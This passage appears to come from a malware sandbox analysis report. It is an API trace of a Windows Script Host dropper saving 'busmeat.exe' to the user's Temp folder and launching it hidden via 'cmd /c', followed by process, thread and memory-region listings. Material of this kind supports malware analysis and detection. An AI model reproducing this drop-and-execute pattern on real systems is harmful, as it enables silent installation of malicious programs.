pExcepInfo=0x95b977d170*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d0f0*=0x0) returned 0x0
	[0060.641] IUnknown:Release (This=0x95b9918e80) returned 0x1
	[0060.641] IDispatch:GetIDsOfNames (in: This=0x95b9918e80, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d0f8*="SaveToFile", cNames=0x1, lcid=0x409, rgDispId=0x95b977d108 | out: rgDispId=0x95b977d108*=17) returned 0x0
	[0060.641] IUnknown:AddRef (This=0x95b9918e80) returned 0x2
	[0060.641] IDispatch:Invoke (in: This=0x95b9918e80, dispIdMember=17, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x95b977d150*(rgvarg=([0]=0x95b977d1c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", varVal2=0x95b9b97da0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170, puArgErr=0x95b977d0f0 | out: pDispParams=0x95b977d150*(rgvarg=([0]=0x95b977d1c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", varVal2=0x95b9b97da0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d0f0*=0x0) returned 0x0
	[0060.641] IUnknown:QueryInterface (in: This=0x95bba7fd40, riid=0x7ffbeabd51a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977c3c0 | out: ppvObject=0x95b977c3c0*=0x95bba7fd40) returned 0x0
	[0060.642] IUnknown:QueryInterface (in: This=0x95bba7fd40, riid=0x7ffbeabd51a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977c418 | out: ppvObject=0x95b977c418*=0x95bba7fd40) returned 0x0
	[0060.642] IUnknown:Release (This=0x95bba7fd40) returned 0x2
	[0060.658] IUnknown:Release (This=0x95bba7fd40) returned 0x1
	[0060.658] IUnknown:Release (This=0x95b9918e80) returned 0x1
	[0060.659] IDispatch:GetIDsOfNames (in: This=0x95b9918e80, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d0f8*="Close", cNames=0x1, lcid=0x409, rgDispId=0x95b977d108 | out: rgDispId=0x95b977d108*=11) returned 0x0
	[0060.659] IUnknown:AddRef (This=0x95b9918e80) returned 0x2
	[0060.659] IDispatch:Invoke (in: This=0x95b9918e80, dispIdMember=11, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x95b977d150*(rgvarg=0x95b9b9ab30, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170, puArgErr=0x95b977d0f0 | out: pDispParams=0x95b977d150*(rgvarg=0x95b9b9ab30, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x95b977d170*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d0f0*=0x0) returned 0x0
	[0060.672] IUnknown:Release (This=0x95b9918e80) returned 0x1
	[0060.673] LoadRegTypeLib (in: rguid=0x7ffbeac624b8*(Data1=0xf935dc20, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x95b977d068*=0x0 | out: pptlib=0x95b977d068*=0x95bc25d950) returned 0x0
	[0060.677] ITypeLib:GetTypeInfoOfGuid (in: This=0x95bc25d950, GUID=0x7ffbeac62498*(Data1=0x41904400, Data2=0xbe18, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x8b, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x95b977d008 | out: ppTInfo=0x95b977d008*=0x95bc21acd8) returned 0x0
	[0060.677] ITypeInfo:GetRefTypeOfImplType (in: This=0x95bc21acd8, index=0xffffffff, pRefType=0x95b977d000 | out: pRefType=0x95b977d000*=0xfffffffe) returned 0x0
	[0060.678] ITypeInfo:GetRefTypeInfo (in: This=0x95bc21acd8, hreftype=0xfffffffe, ppTInfo=0x7ffbeac6c1e8 | out: ppTInfo=0x7ffbeac6c1e8*=0x95bc21ad30) returned 0x0
	[0060.678] IUnknown:Release (This=0x95bc21acd8) returned 0x1
	[0060.678] IUnknown:Release (This=0x95bc25d950) returned 0x1
	[0060.678] IUnknown:AddRef (This=0x95bc21ad30) returned 0x2
	[0060.678] ITypeInfo:LocalGetIDsOfNames (This=0x95bc21ad30) returned 0x0
	[0060.678] IUnknown:Release (This=0x95bc21ad30) returned 0x1
	[0060.678] IUnknown:AddRef (This=0x95bc21ad30) returned 0x2
	[0060.678] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0060.678] ITypeInfo:LocalInvoke (This=0x95bc21ad30) returned 0x0
	[0060.678] ExpandEnvironmentStringsW (in: lpSrc="cmd /c C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", lpDst=0x95b977bb50, nSize=0x400 | out: lpDst="cmd /c C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe") returned 0x38
	[0060.678] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x7ffc022c0000
	[0060.679] GetProcAddress (hModule=0x7ffc022c0000, lpProcName="ShellExecuteExW") returned 0x7ffc023a2460
	[0060.679] ShellExecuteExW (in: pExecInfo=0x95b977c330*(cbSize=0x70, fMask=0x440, hwnd=0x0, lpVerb="Open", lpFile="cmd", lpParameters="/c C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x95b977c330*(cbSize=0x70, fMask=0x440, hwnd=0x0, lpVerb="Open", lpFile="cmd", lpParameters="/c C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x5b4)) returned 1
	[0060.835] CloseHandle (hObject=0x5b4) returned 1
	[0060.835] IUnknown:Release (This=0x95bc21ad30) returned 0x1
	[0060.835] ISystemDebugEventFire:IsActive (This=0x95b984dc20) returned 0x1
	[0060.836] CoGetObjectContext (in: riid=0x7ffbed33a8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977efd0 | out: ppv=0x95b977efd0*=0x95b982e928) returned 0x0
	[0060.836] IUnknown:Release (This=0x95bba47e10) returned 0x0
	[0061.116] IUnknown:Release (This=0x95bba7fd40) returned 0x0
	[0061.116] IUnknown:Release (This=0x95bc21ad30) returned 0x0
	[0061.119] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x7ffc01ad6e80, dwCookie=0x100) returned 0x0
	[0061.119] IUnknown:Release (This=0x95b9b97b50) returned 0x1
	[0061.119] IUnknown:Release (This=0x95b982e928) returned 0x1
	[0061.119] IUnknown:Release (This=0x95b982e928) returned 0x0
	[0061.119] ISystemDebugEventFire:EndSession (This=0x95b984dc20) returned 0x0
	[0061.119] IUnknown:Release (This=0x95b984dc20) returned 0x1
	[0061.119] GetUserDefaultLCID () returned 0x409
	[0061.119] GetACP () returned 0x4e4
	[0061.120] IUnknown:Release (This=0x95b984dc20) returned 0x0
	[0061.120] SendMessageA (hWnd=0x30202, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0
	[0061.122] SendMessageA (hWnd=0x30202, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0
	[0061.122] PostMessageA (hWnd=0x30202, Msg=0x12, wParam=0x0, lParam=0x0) returned 1
	[0061.124] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x95b977f9e0*=0x12c, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x0
	[0061.124] CloseHandle (hObject=0x12c) returned 1
	[0061.124] IUnknown:Release (This=0x95b983ad90) returned 0x0
	[0061.124] IUnknown:Release (This=0x95b983ae40) returned 0x0
	[0061.124] IUnknown:Release (This=0x95b983aef0) returned 0x0
	[0061.124] IUnknown:Release (This=0x95b983ace0) returned 0x0
	[0061.125] GetProcAddress (hModule=0x7ffbf69d0000, lpProcName="AmsiUninitialize") returned 0x7ffbf69d2490
	[0061.125] AmsiUninitialize () returned 0x1
	[0061.140] FreeLibrary (hLibModule=0x7ffbf69d0000) returned 1
	[0061.141] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x95b977f9e0 | out: lplpMessageFilter=0x95b977f9e0*=0x95b9b959d0) returned 0x0
	[0061.141] FreeLibrary (hLibModule=0x7ffbf39b0000) returned 1
	[0061.141] CoUninitialize () 
	[0061.141] DllCanUnloadNow () returned 0x1
	[0061.141] DllCanUnloadNow () returned 0x0
	[0061.142] DllCanUnloadNow () returned 0x0
	[0061.184] ExitProcess (uExitCode=0x0) 

Thread:
	id = 6
	os_tid = 0xdb8


Thread:
	id = 7
	os_tid = 0xdbc

	[0038.015] GetClassInfoA (in: hInstance=0x7ff6dfd80000, lpClassName="WSH-Timer", lpWndClass=0x95bb3bfb00 | out: lpWndClass=0x95bb3bfb00) returned 0
	[0038.015] RegisterClassA (lpWndClass=0x95bb3bfb00) returned 0xc16b
	[0038.015] CreateWindowExA (dwExStyle=0x0, lpClassName="WSH-Timer", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=1, nHeight=1, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff6dfd80000, lpParam=0x95b9b95bf0) returned 0x30202
	[0038.016] GetWindowLongPtrA (hWnd=0x30202, nIndex=-21) returned 0x0
	[0038.016] NtdllDefWindowProc_A (hWnd=0x30202, Msg=0x24, wParam=0x0, lParam=0x95bb3bf4a0) returned 0x0
	[0038.016] GetWindowLongPtrA (hWnd=0x30202, nIndex=-21) returned 0x0
	[0038.016] SetWindowLongPtrA (hWnd=0x30202, nIndex=-21, dwNewLong=0x95b9b95bf0) returned 0x0
	[0038.016] NtdllDefWindowProc_A (hWnd=0x30202, Msg=0x81, wParam=0x0, lParam=0x95bb3bf460) returned 0x1
	[0038.019] GetWindowLongPtrA (hWnd=0x30202, nIndex=-21) returned 0x95b9b95bf0
	[0038.019] NtdllDefWindowProc_A (hWnd=0x30202, Msg=0x83, wParam=0x0, lParam=0x95bb3bf4c0) returned 0x0
	[0038.024] GetWindowLongPtrA (hWnd=0x30202, nIndex=-21) returned 0x95b9b95bf0
	[0038.024] NtdllDefWindowProc_A (hWnd=0x30202, Msg=0x1, wParam=0x0, lParam=0x95bb3bf460) returned 0x0
	[0038.024] SetEvent (hEvent=0x128) returned 1
	[0038.287] GetMessageA (in: lpMsg=0x95bb3bfad0, hWnd=0x30202, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95bb3bfad0) returned 1
	[0038.287] DispatchMessageA (lpMsg=0x95bb3bfad0) returned 0x0
	[0038.287] GetWindowLongPtrA (hWnd=0x30202, nIndex=-21) returned 0x95b9b95bf0
	[0038.288] NtdllDefWindowProc_A (hWnd=0x30202, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0
	[0038.288] GetMessageA (in: lpMsg=0x95bb3bfad0, hWnd=0x30202, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95bb3bfad0) returned 0
	[0061.120] GetWindowLongPtrA (hWnd=0x30202, nIndex=-21) returned 0x95b9b95bf0
	[0061.122] GetWindowLongPtrA (hWnd=0x30202, nIndex=-21) returned 0x95b9b95bf0

Thread:
	id = 8
	os_tid = 0xdc0


Thread:
	id = 9
	os_tid = 0xdc4


Thread:
	id = 10
	os_tid = 0xdc8


Thread:
	id = 11
	os_tid = 0xdcc


Thread:
	id = 12
	os_tid = 0xdd0


Thread:
	id = 13
	os_tid = 0xe98


Thread:
	id = 14
	os_tid = 0xecc


Process:
	id = "2"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0xbeb5000"
	os_pid = "0xda0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xd98"
	cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\Windows"
	os_username = "LHNIWSJ\\CIiHmnxMn6Ps"
	os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001714b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 163
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 164
	        start_va = 0x2a108d0000
	          end_va = 0x2a108effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a108d0000"
	        filename = ""

Region:
	              id = 165
	        start_va = 0x2a108f0000
	          end_va = 0x2a10903fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002a108f0000"
	        filename = ""

Region:
	              id = 166
	        start_va = 0x2a10910000
	          end_va = 0x2a1094ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a10910000"
	        filename = ""

Region:
	              id = 167
	        start_va = 0x7df5ff310000
	          end_va = 0x7ff5ff30ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff310000"
	        filename = ""

Region:
	              id = 168
	        start_va = 0x7ff6c3d70000
	          end_va = 0x7ff6c3d92fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c3d70000"
	        filename = ""

Region:
	              id = 169
	        start_va = 0x7ff6c3d9d000
	          end_va = 0x7ff6c3d9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3d9d000"
	        filename = ""

Region:
	              id = 170
	        start_va = 0x7ff6c3d9e000
	          end_va = 0x7ff6c3d9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3d9e000"
	        filename = ""

Region:
	              id = 171
	        start_va = 0x7ff6c4950000
	          end_va = 0x7ff6c4960fff
	     entry_point = 0x7ff6c4950000
	     region_type = mapped_file
	            name = "conhost.exe"
	        filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe")

Region:
	              id = 172
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 173
	        start_va = 0x2a10ad0000
	          end_va = 0x2a10bcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a10ad0000"
	        filename = ""

Region:
	              id = 174
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 175
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 176
	        start_va = 0x2a108d0000
	          end_va = 0x2a108dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002a108d0000"
	        filename = ""

Region:
	              id = 177
	        start_va = 0x2a10950000
	          end_va = 0x2a10a0dfff
	     entry_point = 0x2a10950000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 178
	        start_va = 0x2a10a10000
	          end_va = 0x2a10a4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a10a10000"
	        filename = ""

Region:
	              id = 179
	        start_va = 0x7ff6c3c70000
	          end_va = 0x7ff6c3d6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c3c70000"
	        filename = ""

Region:
	              id = 180
	        start_va = 0x7ff6c3d9b000
	          end_va = 0x7ff6c3d9cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3d9b000"
	        filename = ""

Region:
	              id = 181
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 182
	        start_va = 0x2a108e0000
	          end_va = 0x2a108e6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a108e0000"
	        filename = ""

Region:
	              id = 183
	        start_va = 0x2a10a50000
	          end_va = 0x2a10a50fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002a10a50000"
	        filename = ""

Region:
	              id = 184
	        start_va = 0x2a10a60000
	          end_va = 0x2a10a66fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a10a60000"
	        filename = ""

Region:
	              id = 185
	        start_va = 0x2a10d50000
	          end_va = 0x2a10d5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a10d50000"
	        filename = ""

Region:
	              id = 186
	        start_va = 0x7ffbf6a10000
	          end_va = 0x7ffbf6a62fff
	     entry_point = 0x7ffbf6a10000
	     region_type = mapped_file
	            name = "conhostv2.dll"
	        filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll")

Region:
	              id = 187
	        start_va = 0x7ffbfd5b0000
	          end_va = 0x7ffbfd732fff
	     entry_point = 0x7ffbfd5b0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 188
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 189
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 190
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 191
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 192
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 193
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 194
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 195
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 196
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 197
	        start_va = 0x2a10a70000
	          end_va = 0x2a10a70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a10a70000"
	        filename = ""

Region:
	              id = 198
	        start_va = 0x2a10a80000
	          end_va = 0x2a10a80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a10a80000"
	        filename = ""

Region:
	              id = 199
	        start_va = 0x2a10a90000
	          end_va = 0x2a10a9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a10a90000"
	        filename = ""

Region:
	              id = 200
	        start_va = 0x2a10bd0000
	          end_va = 0x2a10c0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a10bd0000"
	        filename = ""

Region:
	              id = 201
	        start_va = 0x2a10d60000
	          end_va = 0x2a10ee7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002a10d60000"
	        filename = ""

Region:
	              id = 202
	        start_va = 0x2a10ef0000
	          end_va = 0x2a11070fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002a10ef0000"
	        filename = ""

Region:
	              id = 203
	        start_va = 0x2a11080000
	          end_va = 0x2a1247ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002a11080000"
	        filename = ""

Region:
	              id = 204
	        start_va = 0x7ff6c3d99000
	          end_va = 0x7ff6c3d9afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3d99000"
	        filename = ""

Region:
	              id = 205
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 206
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 207
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 208
	        start_va = 0x7ffc00940000
	          end_va = 0x7ffc00f67fff
	     entry_point = 0x7ffc00940000
	     region_type = mapped_file
	            name = "windows.storage.dll"
	        filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")

Region:
	              id = 209
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 210
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 211
	        start_va = 0x7ffc022c0000
	          end_va = 0x7ffc037e4fff
	     entry_point = 0x7ffc022c0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 212
	        start_va = 0x7ffc03a50000
	          end_va = 0x7ffc03aa0fff
	     entry_point = 0x7ffc03a50000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 213
	        start_va = 0x7ffbff170000
	          end_va = 0x7ffbff205fff
	     entry_point = 0x7ffbff170000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 214
	        start_va = 0x2a10910000
	          end_va = 0x2a1094ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a10910000"
	        filename = ""

Region:
	              id = 215
	        start_va = 0x2a10aa0000
	          end_va = 0x2a10aa3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002a10aa0000"
	        filename = ""

Region:
	              id = 216
	        start_va = 0x2a10c10000
	          end_va = 0x2a10d1afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a10c10000"
	        filename = ""

Region:
	              id = 217
	        start_va = 0x2a12480000
	          end_va = 0x2a1258efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a12480000"
	        filename = ""

Region:
	              id = 218
	        start_va = 0x2a12640000
	          end_va = 0x2a1264ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a12640000"
	        filename = ""

Region:
	              id = 219
	        start_va = 0x2a12650000
	          end_va = 0x2a12986fff
	     entry_point = 0x2a12650000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 220
	        start_va = 0x2a12990000
	          end_va = 0x2a12babfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a12990000"
	        filename = ""

Region:
	              id = 221
	        start_va = 0x2a12bb0000
	          end_va = 0x2a12dc7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a12bb0000"
	        filename = ""

Region:
	              id = 222
	        start_va = 0x2a12dd0000
	          end_va = 0x2a12fedfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000002a12dd0000"
	        filename = ""

Region:
	              id = 223
	        start_va = 0x2a12ff0000
	          end_va = 0x2a130a7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000002a12ff0000"
	        filename = ""

Region:
	              id = 224
	        start_va = 0x7ff6c3d9e000
	          end_va = 0x7ff6c3d9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3d9e000"
	        filename = ""

Region:
	              id = 225
	        start_va = 0x7ffbfe9a0000
	          end_va = 0x7ffbfe9c1fff
	     entry_point = 0x7ffbfe9a0000
	     region_type = mapped_file
